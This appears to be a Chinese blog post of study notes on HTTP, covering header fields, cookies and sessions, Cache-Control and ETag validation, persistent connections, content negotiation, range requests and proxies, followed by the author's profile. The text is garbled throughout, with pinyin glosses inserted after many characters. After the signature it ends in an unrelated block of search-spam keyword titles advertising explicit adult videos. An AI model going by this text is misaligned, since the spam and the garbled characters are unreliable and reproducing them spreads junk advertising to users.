          首部字段名 說明 Cache-Control 控制緩存的行為 Connection 控制不再轉(zhuǎn)發(fā)給代理的首部字段、管理持久連接 Date 創(chuàng)建報(bào)文的日期時(shí)間 Pragma 報(bào)文指令 Trailer 報(bào)文末端的首部一覽 Transfer-Encoding 指定報(bào)文主體的傳輸編碼方式 Upgrade 升級(jí)為其他協(xié)議 Via 代理服務(wù)器的相關(guān)信息 Warning 錯(cuò)誤通知

          請(qǐng)求首部字段

          首部字段名 說明 Accept 用戶代理可處理的媒體類型 Accept-Charset 優(yōu)先的字符集 Accept-Encoding 優(yōu)先的內(nèi)容編碼 Accept-Language 優(yōu)先的語言(自然語言) Authorization Web 認(rèn)證信息 Expect 期待服務(wù)器的特定行為 From 用戶的電子郵箱地址 Host 請(qǐng)求資源所在服務(wù)器 If-Match 比較實(shí)體標(biāo)記(ETag) If-Modified-Since 比較資源的更新時(shí)間 If-None-Match 比較實(shí)體標(biāo)記(與 If-Match 相反) If-Range 資源未更新時(shí)發(fā)送實(shí)體 Byte 的范圍請(qǐng)求 If-Unmodified-Since 比較資源的更新時(shí)間(與 If-Modified-Since 相反) Max-Forwards 最大傳輸逐跳數(shù) Proxy-Authorization 代理服務(wù)器要求客戶端的認(rèn)證信息 Range 實(shí)體的字節(jié)范圍請(qǐng)求 Referer 對(duì)請(qǐng)求中 URI 的原始獲取方 TE 傳輸編碼的優(yōu)先級(jí) User-Agent HTTP 客戶端程序的信息

          響應(yīng)首部字段

          首部字段名 說明 Accept-Ranges 是否接受字節(jié)范圍請(qǐng)求 Age 推算資源創(chuàng)建經(jīng)過時(shí)間 ETag 資源的匹配信息 Location 令客戶端重定向至指定 URI Proxy-Authenticate 代理服務(wù)器對(duì)客戶端的認(rèn)證信息 Retry-After 對(duì)再次發(fā)起請(qǐng)求的時(shí)機(jī)要求 Server HTTP 服務(wù)器的安裝信息 Vary 代理服務(wù)器緩存的管理信息 WWW-Authenticate 服務(wù)器對(duì)客戶端的認(rèn)證信息

          實(shí)體首部字段

          首部字段名 說明 Allow 資源可支持的 HTTP 方法 Content-Encoding 實(shí)體主體適用的編碼方式 Content-Language 實(shí)體主體的自然語言 Content-Length 實(shí)體主體的大小 Content-Location 替代對(duì)應(yīng)資源的 URI Content-MD5 實(shí)體主體的報(bào)文摘要 Content-Range 實(shí)體主體的位置范圍 Content-Type 實(shí)體主體的媒體類型 Expires 實(shí)體主體過期的日期時(shí)間 Last-Modified 資源的最后修改日期時(shí)間

          具體應(yīng)用

          Cookie

          HTTP/1.1 引入 Cookie 來保存狀態(tài)信息。

          1. 用途

          • 會(huì)話狀態(tài)管理(如用戶登錄狀態(tài)、購物車、游戲分?jǐn)?shù)或其它需要記錄的信息)
          • 個(gè)性化設(shè)置(如用戶自定義設(shè)置、主題等)
          • 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)

          由于服務(wù)器指定 Cookie 后,瀏覽器的每次請(qǐng)求都會(huì)攜帶 Cookie 數(shù)據(jù),會(huì)帶來額外的性能開銷(尤其是在移動(dòng)環(huán)境下)。

          新的瀏覽器 API 已經(jīng)允許開發(fā)者直接將數(shù)據(jù)存儲(chǔ)到本地,如使用 Web storage API (本地存儲(chǔ)和會(huì)話存儲(chǔ))或 IndexedDB。

          2. 創(chuàng)建過程

          HTTP/1.0 200 OK
          Content-type: text/html
          Set-Cookie: yummy_cookie=choco
          Set-Cookie: tasty_cookie=strawberry
          
          [page content]
          

          客戶端之后對(duì)同一個(gè)服務(wù)器發(fā)送請(qǐng)求時(shí),會(huì)從瀏覽器中取出 Cookie 信息并通過 Cookie 請(qǐng)求首部字段發(fā)送給服務(wù)器。

          GET /sample_page.html HTTP/1.1
          Host: www.example.org
          Cookie: yummy_cookie=choco; tasty_cookie=strawberry
          

          3. 分類

          • 會(huì)話期 Cookie:瀏覽器關(guān)閉之后它會(huì)被自動(dòng)刪除,也就是說它僅在會(huì)話期內(nèi)有效。
          • 持久性 Cookie:指定一個(gè)特定的過期時(shí)間(Expires)或有效期(Max-Age)之后就成為了持久性的 Cookie。
          Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
          

          4. 作用域

          Domain 標(biāo)識(shí)指定了哪些主機(jī)可以接受 Cookie。如果不指定,默認(rèn)為當(dāng)前文檔的主機(jī)(不包含子域名)。如果指定了 Domain,則一般包含子域名。例如,如果設(shè)置 Domain=mozilla.org,則 Cookie 也包含在子域名中(如 developer.mozilla.org)。

          Path 標(biāo)識(shí)指定了主機(jī)下的哪些路徑可以接受 Cookie(該 URL 路徑必須存在于請(qǐng)求 URL 中)。以字符 %x2F ("/") 作為路徑分隔符,子路徑也會(huì)被匹配。例如,設(shè)置 Path=/docs,則以下地址都會(huì)匹配:

          • /docs
          • /docs/Web/
          • /docs/Web/HTTP

          5. JavaScript

          通過 Document.cookie 屬性可創(chuàng)建新的 Cookie,也可通過該屬性訪問非 HttpOnly 標(biāo)記的 Cookie。

          document.cookie = "yummy_cookie=choco";
          document.cookie = "tasty_cookie=strawberry";
          console.log(document.cookie);
          

          6. Secure 和 HttpOnly

          • 標(biāo)記為 Secure 的 Cookie 只應(yīng)通過被 HTTPS 協(xié)議加密過的請(qǐng)求發(fā)送給服務(wù)端。但即便設(shè)置了 Secure 標(biāo)記,敏感信息也不應(yīng)該通過 Cookie 傳輸,因?yàn)?Cookie 有其固有的不安全性,Secure 標(biāo)記也無法提供確實(shí)的安全保障。
          • 標(biāo)記為 HttpOnly 的 Cookie 不能被 JavaScript 腳本調(diào)用。因?yàn)榭缬蚰_本 (XSS) 攻擊常常使用 JavaScript 的 Document.cookie API 竊取用戶的 Cookie 信息,因此使用 HttpOnly 標(biāo)記可以在一定程度上避免 XSS 攻擊。
          Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
          

          7. Session和cookie選擇

          除了可以將用戶信息通過 Cookie 存儲(chǔ)在用戶瀏覽器中,也可以利用 Session 存儲(chǔ)在服務(wù)器端,存儲(chǔ)在服務(wù)器端的信息更加安全。

          Session 可以存儲(chǔ)在服務(wù)器上的文件、數(shù)據(jù)庫或者內(nèi)存中。也可以將 Session 存儲(chǔ)在 Redis 這種內(nèi)存型數(shù)據(jù)庫中,效率會(huì)更高。

          使用 Session 維護(hù)用戶登錄狀態(tài)的過程如下:

          • 用戶進(jìn)行登錄時(shí),用戶提交包含用戶名和密碼的表單,放入 HTTP 請(qǐng)求報(bào)文中;
          • 服務(wù)器驗(yàn)證該用戶名和密碼,如果正確則把用戶信息存儲(chǔ)到 Redis 中,它在 Redis 中的 Key 稱為 Session ID;
          • 服務(wù)器返回的響應(yīng)報(bào)文的 Set-Cookie 首部字段包含了這個(gè) Session ID,客戶端收到響應(yīng)報(bào)文之后將該 Cookie 值存入瀏覽器中;
          • 客戶端之后對(duì)同一個(gè)服務(wù)器進(jìn)行請(qǐng)求時(shí)會(huì)包含該 Cookie 值,服務(wù)器收到之后提取出 Session ID,從 Redis 中取出用戶信息,繼續(xù)之前的業(yè)務(wù)操作。

          應(yīng)該注意 Session ID 的安全性問題,不能讓它被惡意攻擊者輕易獲取,那么就不能產(chǎn)生一個(gè)容易被猜到的 Session ID 值。此外,還需要經(jīng)常重新生成 Session ID。在對(duì)安全性要求極高的場(chǎng)景下,例如轉(zhuǎn)賬等操作,除了使用 Session 管理用戶狀態(tài)之外,還需要對(duì)用戶進(jìn)行重新驗(yàn)證,比如重新輸入密碼,或者使用短信驗(yàn)證碼等方式。

          • 從存儲(chǔ)方式上比較 Cookie只能存儲(chǔ)字符串,如果要存儲(chǔ)非ASCII字符串還要對(duì)其編碼。 Session可以存儲(chǔ)任何類型的數(shù)據(jù),可以把Session看成是一個(gè)容器
          • 從隱私安全上比較 Cookie存儲(chǔ)在瀏覽器中,對(duì)客戶端是可見的。信息容易泄露出去。如果使用Cookie,最好將Cookie加密 Session存儲(chǔ)在服務(wù)器上,對(duì)客戶端是透明的。不存在敏感信息泄露問題。
          • 從有效期上比較 Cookie保存在硬盤中,只需要設(shè)置maxAge屬性為比較大的正整數(shù),即使關(guān)閉瀏覽器,Cookie還是存在的 Session的保存在服務(wù)器中,設(shè)置maxInactiveInterval屬性值來確定Session的有效期。并且Session依賴于名為JSESSIONID的Cookie,該Cookie默認(rèn)的maxAge屬性為-1。如果關(guān)閉了瀏覽器,該Session雖然沒有從服務(wù)器中消亡,但也就失效了。
          • 從對(duì)服務(wù)器的負(fù)擔(dān)比較 Session是保存在服務(wù)器的,每個(gè)用戶都會(huì)產(chǎn)生一個(gè)Session,如果是并發(fā)訪問的用戶非常多,是不能使用Session的,Session會(huì)消耗大量的內(nèi)存。 Cookie是保存在客戶端的。不占用服務(wù)器的資源。像baidu、Sina這樣的大型網(wǎng)站,一般都是使用Cookie來進(jìn)行會(huì)話跟蹤。
          • 從瀏覽器的支持上比較 如果瀏覽器禁用了Cookie,那么Cookie是無用的了! 如果瀏覽器禁用了Cookie,Session可以通過URL地址重寫來進(jìn)行會(huì)話跟蹤。
          • 從跨域名上比較 Cookie可以設(shè)置domain屬性來實(shí)現(xiàn)跨域名 Session只在當(dāng)前的域名內(nèi)有效,不可夸域名

          緩存

          1. 優(yōu)點(diǎn)

          • 緩解服務(wù)器壓力;
          • 減低客戶端獲取資源的延遲(緩存資源比服務(wù)器上的資源離客戶端更近)。

          2. 實(shí)現(xiàn)方法

          • 讓代理服務(wù)器進(jìn)行緩存;
          • 讓客戶端瀏覽器進(jìn)行緩存。

          3. Cache-Control

          HTTP/1.1 通過 Cache-Control 首部字段來控制緩存。

          (一)禁止進(jìn)行緩存

          no-store 指令規(guī)定不能對(duì)請(qǐng)求或響應(yīng)的任何一部分進(jìn)行緩存。

          Cache-Control: no-store
          

          (二)強(qiáng)制確認(rèn)緩存

          no-cache 指令規(guī)定緩存服務(wù)器需要先向源服務(wù)器驗(yàn)證緩存資源的有效性,只有當(dāng)緩存資源有效才將能使用該緩存對(duì)客戶端的請(qǐng)求進(jìn)行響應(yīng)。

          Cache-Control: no-cache
          

          (三)私有緩存和公共緩存

          private 指令規(guī)定了將資源作為私有緩存,只能被單獨(dú)用戶所使用,一般存儲(chǔ)在用戶瀏覽器中。

          Cache-Control: private
          

          public 指令規(guī)定了將資源作為公共緩存,可以被多個(gè)用戶所使用,一般存儲(chǔ)在代理服務(wù)器中。

          Cache-Control: public
          

          (四)緩存過期機(jī)制

          max-age 指令出現(xiàn)在請(qǐng)求報(bào)文中,并且緩存資源的緩存時(shí)間小于該指令指定的時(shí)間,那么就能接受該緩存。

          max-age 指令出現(xiàn)在響應(yīng)報(bào)文中,表示緩存資源在緩存服務(wù)器中保存的時(shí)間。

          Cache-Control: max-age=31536000
          

          Expires 字段也可以用于告知緩存服務(wù)器該資源什么時(shí)候會(huì)過期。在 HTTP/1.1 中,會(huì)優(yōu)先處理 Cache-Control : max-age 指令;而在 HTTP/1.0 中,Cache-Control : max-age 指令會(huì)被忽略掉。

          Expires: Wed, 04 Jul 2012 08:26:05 GMT
          

          4. 緩存驗(yàn)證

          需要先了解 ETag 首部字段的含義,它是資源的唯一表示。URL 不能唯一表示資源,例如 http://www.google.com/ 有中文和英文兩個(gè)資源,只有 ETag 才能對(duì)這兩個(gè)資源進(jìn)行唯一表示。

          ETag: "82e22293907ce725faf67773957acd12"
          

          可以將緩存資源的 ETag 值放入 If-None-Match 首部,服務(wù)器收到該請(qǐng)求后,判斷緩存資源的 ETag 值和資源的最新 ETag 值是否一致,如果一致則表示緩存資源有效,返回 304 Not Modified。

          If-None-Match: "82e22293907ce725faf67773957acd12"
          

          Last-Modified 首部字段也可以用于緩存驗(yàn)證,它包含在源服務(wù)器發(fā)送的響應(yīng)報(bào)文中,指示源服務(wù)器對(duì)資源的最后修改時(shí)間。但是它是一種弱校驗(yàn)器,因?yàn)橹荒芫_到一秒,所以它通常作為 ETag 的備用方案。如果響應(yīng)首部字段里含有這個(gè)信息,客戶端可以在后續(xù)的請(qǐng)求中帶上 If-Modified-Since 來驗(yàn)證緩存。服務(wù)器只在所請(qǐng)求的資源在給定的日期時(shí)間之后對(duì)內(nèi)容進(jìn)行過修改的情況下才會(huì)將資源返回,狀態(tài)碼為 200 OK。如果請(qǐng)求的資源從那時(shí)起未經(jīng)修改,那么返回一個(gè)不帶有消息主體的 304 Not Modified 響應(yīng),

          Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
          
          If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
          

          連接管理

          [圖片上傳失敗…(image-3cf4fc-1550224161268)]

          1. 短連接與長(zhǎng)連接

          • HTTP/1.1 開始默認(rèn)是長(zhǎng)連接的,如果要斷開連接,需要由客戶端或者服務(wù)器端提出斷開,使用 Connection : close;
          • HTTP/1.1 之前默認(rèn)是短連接的,如果需要長(zhǎng)連接,則使用 Connection : Keep-Alive。

          2. 流水線

          默認(rèn)情況下,HTTP 請(qǐng)求是按順序發(fā)出的,下一個(gè)請(qǐng)求只有在當(dāng)前請(qǐng)求收到應(yīng)答過后才會(huì)被發(fā)出。由于會(huì)受到網(wǎng)絡(luò)延遲和帶寬的限制,在下一個(gè)請(qǐng)求被發(fā)送到服務(wù)器之前,可能需要等待很長(zhǎng)時(shí)間。

          流水線是在同一條長(zhǎng)連接上發(fā)出連續(xù)的請(qǐng)求,而不用等待響應(yīng)返回,這樣可以避免連接延遲。

          內(nèi)容協(xié)商

          通過內(nèi)容協(xié)商返回最合適的內(nèi)容,例如根據(jù)瀏覽器的默認(rèn)語言選擇返回中文界面還是英文界面。

          1. 類型

          1.1 服務(wù)端驅(qū)動(dòng)型

          客戶端設(shè)置特定的 HTTP 首部字段,例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language,服務(wù)器根據(jù)這些字段返回特定的資源。

          它存在以下問題:

          • 服務(wù)器很難知道客戶端瀏覽器的全部信息;
          • 客戶端提供的信息相當(dāng)冗長(zhǎng)(HTTP/2 協(xié)議的首部壓縮機(jī)制緩解了這個(gè)問題),并且存在隱私風(fēng)險(xiǎn)(HTTP 指紋識(shí)別技術(shù));
          • 給定的資源需要返回不同的展現(xiàn)形式,共享緩存的效率會(huì)降低,而服務(wù)器端的實(shí)現(xiàn)會(huì)越來越復(fù)雜。

          1.2 代理驅(qū)動(dòng)型

          服務(wù)器返回 300 Multiple Choices 或者 406 Not Acceptable,客戶端從中選出最合適的那個(gè)資源。

          2. Vary

          Vary: Accept-Language
          

          在使用內(nèi)容協(xié)商的情況下,只有當(dāng)緩存服務(wù)器中的緩存滿足內(nèi)容協(xié)商條件時(shí),才能使用該緩存,否則應(yīng)該向源服務(wù)器請(qǐng)求該資源。

          例如,一個(gè)客戶端發(fā)送了一個(gè)包含 Accept-Language 首部字段的請(qǐng)求之后,源服務(wù)器返回的響應(yīng)包含 Vary: Accept-Language 內(nèi)容,緩存服務(wù)器對(duì)這個(gè)響應(yīng)進(jìn)行緩存之后,在客戶端下一次訪問同一個(gè) URL 資源,并且 Accept-Language 與緩存中的對(duì)應(yīng)的值相同時(shí)才會(huì)返回該緩存。

          內(nèi)容編碼

          內(nèi)容編碼將實(shí)體主體進(jìn)行壓縮,從而減少傳輸?shù)臄?shù)據(jù)量。常用的內(nèi)容編碼有:gzip、compress、deflate、identity。

          瀏覽器發(fā)送 Accept-Encoding 首部,其中包含有它所支持的壓縮算法,以及各自的優(yōu)先級(jí),服務(wù)器則從中選擇一種,使用該算法對(duì)響應(yīng)的消息主體進(jìn)行壓縮,并且發(fā)送 Content-Encoding 首部來告知瀏覽器它選擇了哪一種算法。由于該內(nèi)容協(xié)商過程是基于編碼類型來選擇資源的展現(xiàn)形式的,在響應(yīng)中,Vary 首部中至少要包含 Content-Encoding,這樣的話,緩存服務(wù)器就可以對(duì)資源的不同展現(xiàn)形式進(jìn)行緩存。

          范圍請(qǐng)求

          如果網(wǎng)絡(luò)出現(xiàn)中斷,服務(wù)器只發(fā)送了一部分?jǐn)?shù)據(jù),范圍請(qǐng)求可以使得客戶端只請(qǐng)求服務(wù)器未發(fā)送的那部分?jǐn)?shù)據(jù),從而避免服務(wù)器重新發(fā)送所有數(shù)據(jù)。

          1. Range

          在請(qǐng)求報(bào)文中添加 Range 首部字段指定請(qǐng)求的范圍。

          GET /z4d4kWk.jpg HTTP/1.1
          Host: i.imgur.com
          Range: bytes=0-1023
          

          請(qǐng)求成功的話服務(wù)器返回的響應(yīng)包含 206 Partial Content 狀態(tài)碼。

          2. Accept-Ranges

          響應(yīng)首部字段 Accept-Ranges 用于告知客戶端是否能處理范圍請(qǐng)求,可以處理使用 bytes,否則使用 none。

          Accept-Ranges: bytes
          

          3. 響應(yīng)狀態(tài)碼

          • 在請(qǐng)求成功的情況下,服務(wù)器會(huì)返回 206 Partial Content 狀態(tài)碼。
          • 在請(qǐng)求的范圍越界的情況下,服務(wù)器會(huì)返回 416 Requested Range Not Satisfiable 狀態(tài)碼。
          • 在不支持范圍請(qǐng)求的情況下,服務(wù)器會(huì)返回 200 OK 狀態(tài)碼。

          分塊傳輸編碼

          Chunked Transfer Coding,可以把數(shù)據(jù)分割成多塊,讓瀏覽器逐步顯示頁面。

          多部分對(duì)象集合

          一份報(bào)文主體內(nèi)可含有多種類型的實(shí)體同時(shí)發(fā)送,每個(gè)部分之間用 boundary 字段定義的分隔符進(jìn)行分隔,每個(gè)部分都可以有首部字段。

          例如,上傳多個(gè)表單時(shí)可以使用如下方式:

          Content-Type: multipart/form-data; boundary=AaB03x
          
          --AaB03x
          Content-Disposition: form-data; name="submit-name"
          
          Larry
          --AaB03x
          Content-Disposition: form-data; name="files"; filename="file1.txt"
          Content-Type: text/plain
          
          ... contents of file1.txt ...
          --AaB03x--
          

          虛擬主機(jī)

          HTTP/1.1 使用虛擬主機(jī)技術(shù),使得一臺(tái)服務(wù)器擁有多個(gè)域名,并且在邏輯上可以看成多個(gè)服務(wù)器。

          通信數(shù)據(jù)轉(zhuǎn)發(fā)

          1. 代理

          代理服務(wù)器接受客戶端的請(qǐng)求,并且轉(zhuǎn)發(fā)給其它服務(wù)器。

          使用代理的主要目的是:

          • 緩存
          • 負(fù)載均衡
          • 網(wǎng)絡(luò)訪問控制
          • 訪問日志記錄

          代理服務(wù)器分為正向代理和反向代理兩種:

          • 用戶察覺得到正向代理的存在。
          • 而反向代理一般位于內(nèi)部網(wǎng)絡(luò)中,用戶察覺不到。

          2. 網(wǎng)關(guān)

          與代理服務(wù)器不同的是,網(wǎng)關(guān)服務(wù)器會(huì)將 HTTP 轉(zhuǎn)化為其它協(xié)議進(jìn)行通信,從而請(qǐng)求其它非 HTTP 服務(wù)器的服務(wù)。

          3. 隧道

          使用 SSL 等加密手段,為客戶端和服務(wù)器之間建立一條安全的通信線路。

          --------------------正文完-----------------------

          關(guān)注我

          我是一名后端開發(fā)工程師。主要關(guān)注后端開發(fā),數(shù)據(jù)安全,網(wǎng)絡(luò)爬蟲,物聯(lián)網(wǎng),邊緣計(jì)算等方向,歡迎交流。

          各大平臺(tái)都可以找到我

          • Github:@qqxx6661
          • CSDN:@Rude3Knife
          • 知乎:@Zhendong
          • 簡(jiǎn)書:@蠻三刀把刀
          • 掘金:@蠻三刀把刀

          原創(chuàng)博客主要內(nèi)容

          • Java知識(shí)點(diǎn)復(fù)習(xí)全手冊(cè)
          • Leetcode算法題解析
          • 劍指offer算法題解析
          • SpringBoot菜鳥入門實(shí)戰(zhàn)系列
          • SpringCloud菜鳥入門實(shí)戰(zhàn)系列
          • 爬蟲相關(guān)技術(shù)文章
          • 后端開發(fā)相關(guān)技術(shù)文章
          • 逸聞趣事/好書分享/個(gè)人興趣

          個(gè)人公眾號(hào):后端技術(shù)漫談

          如果文章對(duì)你有幫助,不妨收藏起來并轉(zhuǎn)發(fā)給您的朋友們~


          主站蜘蛛池模板: eeuss鲁片一区二区三区| 波多野结衣AV一区二区三区中文 | 亚洲字幕AV一区二区三区四区| 一区二区三区视频在线播放| 综合人妻久久一区二区精品| 无码精品尤物一区二区三区| 久久国产精品一区| 男人免费视频一区二区在线观看 | 国产伦精品一区二区三区视频金莲| 精品性影院一区二区三区内射 | 久久国产免费一区二区三区 | 国产精品一区在线麻豆| 国偷自产一区二区免费视频| 国产一区二区在线观看视频| 亚洲一区二区三区乱码在线欧洲| 中文字幕一区二区三区免费视频| 国产aⅴ一区二区| 日韩一区二区三区电影在线观看| 国产91精品一区二区麻豆网站| 日韩精品无码免费一区二区三区 | 亚洲狠狠久久综合一区77777| 香蕉视频一区二区三区| 人妻在线无码一区二区三区| 亚洲影视一区二区| 2021国产精品一区二区在线| 精品人伦一区二区三区潘金莲| 国产精品区一区二区三在线播放| 亚洲性日韩精品一区二区三区| 一区二区在线免费视频| 中文字幕亚洲一区二区三区| A国产一区二区免费入口| 成人免费一区二区三区| 成人精品视频一区二区三区不卡| 一区二区三区在线免费观看视频| 国产成人一区二区三区电影网站| 日韩精品一区二区三区中文3d| 国产综合精品一区二区| 日韩av片无码一区二区三区不卡| 一区二区三区四区无限乱码 | 无码人妻视频一区二区三区 | 3d动漫精品啪啪一区二区中|